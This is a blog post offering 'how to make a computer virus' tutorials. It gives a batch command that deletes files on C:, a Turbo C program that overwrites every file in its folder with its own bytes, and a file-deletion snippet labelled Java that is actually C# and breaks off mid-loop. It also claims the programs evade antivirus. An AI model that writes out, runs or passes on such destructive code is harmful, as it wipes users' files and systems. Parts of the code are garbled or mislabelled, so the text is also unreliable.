#### || How to make computer virus ilegal try @ ur own risk || kill any pc #### ~ TeCh ZoNe

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Thursday, January 5, 2012

#### || How to make computer virus ilegal try @ ur own risk || kill any pc ####

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CAUTION : DONT RUN THIS VIRUS IN YOUR OWN PC COZ IT WILL DESTROY YOUR SYSTEM

1. Using Notepad:

This are virus programming that are not easily detected by antivirus systems

Step-1 : open the notepad

Step-2 : write the given below code 1 2 @echo off Del c:/ *.* ly

Step-3 :save the above file as .bat rather than .txt

Step-4 :run the above file

WARNING: it’ll delete all the files in the c:/. So don’t try this in your own computer.

2. Using C Compiler:

Step-1 :copy the given below code into the c compiler you are using

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #include #include #include #include

#include #include FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %s\n”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf(“DONE! (Total Files Infected= %d)”,a); end=clock(); printf(“TIME TAKEN=%f SEC\n”, (end-st)/CLK_TCK); getch(); }

for Turbo C++ follow the steps given below for compiling :-

step-1: compile using alt+f9

step-2 : press f9 to generate the exe file

( Caution: don’t press ctrl+ f9 or all the files in the directory will be infected)

Step-3 :note down the size in bytes of the exe file

Step-4 :change the value of x =89088 with the current size of the exe file

Step-5 : again execute the step-1 and step-2 and obtain the exe file

Step 6 : run the exe file

How to test :

Step-1 create a new folder

Step-2 copy and paste some of the exe file

Step-3 run the exe file you generated in the same folder

Step-4 check it with your antivirus

Note: this above coding file is the most basic virus file that generates copy of your already existing .exe files and making them unusable.

3. Using java :

Step-1 : name the E:/ partition delete

Step-2 open the java editor and paste the following code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class virus { protected void CleanImageFolder() { DirectoryInfo imgInfo = new DirectoryInfo(@"E:\delete"); FileInfo []fileinDir=imgInfo.GetFiles(); for(int i=0;i

step 3 : run the above code using System.IO

WARNING: all the files present in the e:/ will be deleted after execution of the above code.

Try all the above codes at your own risk by : SHREYASH...!!!